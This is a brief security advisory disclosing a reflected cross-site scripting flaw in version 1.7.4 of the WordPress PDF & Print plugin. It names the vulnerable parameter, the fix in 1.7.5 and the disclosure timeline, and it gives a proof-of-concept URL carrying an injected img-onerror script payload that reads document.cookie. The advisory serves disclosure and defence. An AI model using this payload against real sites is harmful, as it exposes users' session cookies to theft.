WordPress PDF And Print 1.7.4 Cross Site Scripting
Posted on 17 December 2015
Plugin Name : PDF & Print Effected Version : 1.7.4 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Administrator PoC - (Proof of Concept) : http://localhost/wp-admin/admin.php?page=pdf-print.php&action=go_pro bws_license_key =”><img src=x onerror=prompt(document.cookie);> Vulnerable Parameter : bws_license_key Type of XSS : Reflected Fixed in : 1.7.5 http://wordpress.org/plugins/pdf-print/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : PDF & Print allows you in the easiest and most flexible way to create PDF and Print page with adding appropriate buttons to the content. PDF & Print using mpdf library under GPLv2 license.
